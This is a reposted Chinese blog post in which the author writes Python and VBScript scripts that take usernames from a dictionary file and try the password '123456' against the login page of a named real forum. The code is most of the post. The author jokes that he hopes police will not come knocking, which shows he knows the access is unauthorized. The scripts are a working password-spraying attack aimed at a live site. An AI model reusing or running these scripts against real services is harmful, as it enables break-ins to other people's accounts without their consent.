密码爆破 Python牛刀小试密码爆破

软件发布|下载排行|最新软件

当前位置:首页IT学院IT技术

密码爆破 Python牛刀小试密码爆破

  2021-03-18 我要评论
想了解Python牛刀小试密码爆破的相关内容吗,在本文为您仔细讲解密码爆破的相关知识和一些Code实例,欢迎阅读和指正,我们先划重点:密码爆破,下面大家一起来学习吧。
难道真的要我破解一个么?算了,正好试试我的Python水平。
python版
复制代码 代码如下:

#coding: gbk
import httplib, urllib

def Check(username, password):
params = urllib.urlencode(
{'userid': username, 'passwd': password})
headers = {"Content-type":
"application/x-www-form-urlencoded"}
conn = httplib.HTTPSConnection("www.bdwm.net")
conn.request("POST",
"/bbs/bbslog2.php", params, headers)
res = conn.getresponse().read()
conn.close()
if res.find("密码不正确") != -1:
return False
elif res.find("不存在这个用户") != -1:
return False
else:
return True

for i in open("English.Dic"):
if Check(i.rstrip(),"123456"):
print i

顺便也写了个VBS版的,感觉貌似VBS比较快,感觉出问题了?
复制代码 代码如下:

Dim fso
Set fso = CreateObject("scripting.filesystemobject")
With fso.OpenTextFile("English.Dic",1)
Do Until .AtEndOfStream
id = .ReadLine
If Check(id,"123456") Then
WScript.Echo id & vbTab &"OK"
End If
Loop
End With

Function Check(username,password)
Dim http
Set http = CreateObject("Msxml2.XMLHTTP")
http.open _
"POST","https://www.bdwm.net/bbs/bbslog2.php",False
http.setRequestHeader _
"Content-Type","application/x-www-form-urlencoded"
http.send "userid=" & username & "&passwd=" & password
response = AnsiToUnicode(http.responseBody)
If InStr(response,"密码不正确") Then
Check = False
ElseIf InStr(response,"不存在这个用户") Then
Check = False
Else
Check = True
End If
End Function

Function AnsiToUnicode(str)
Dim ado
Set ado = CreateObject("adodb.stream")
ado.Type = 1
ado.Open
ado.Write str
ado.Position = 0
ado.Type = 2
ado.Charset = "gb2312"
AnsiToUnicode = ado.ReadText
End Function

事实证明,123456真是一个无敌的密码。但愿晚上没有警察叔叔敲门。
原文:http://demon.tw/programming/python-a-little-trial.html

Copyright 2022 版权所有 软件发布 访问手机版

声明:所有软件和文章来自软件开发商或者作者 如有异议 请与本站联系 联系我们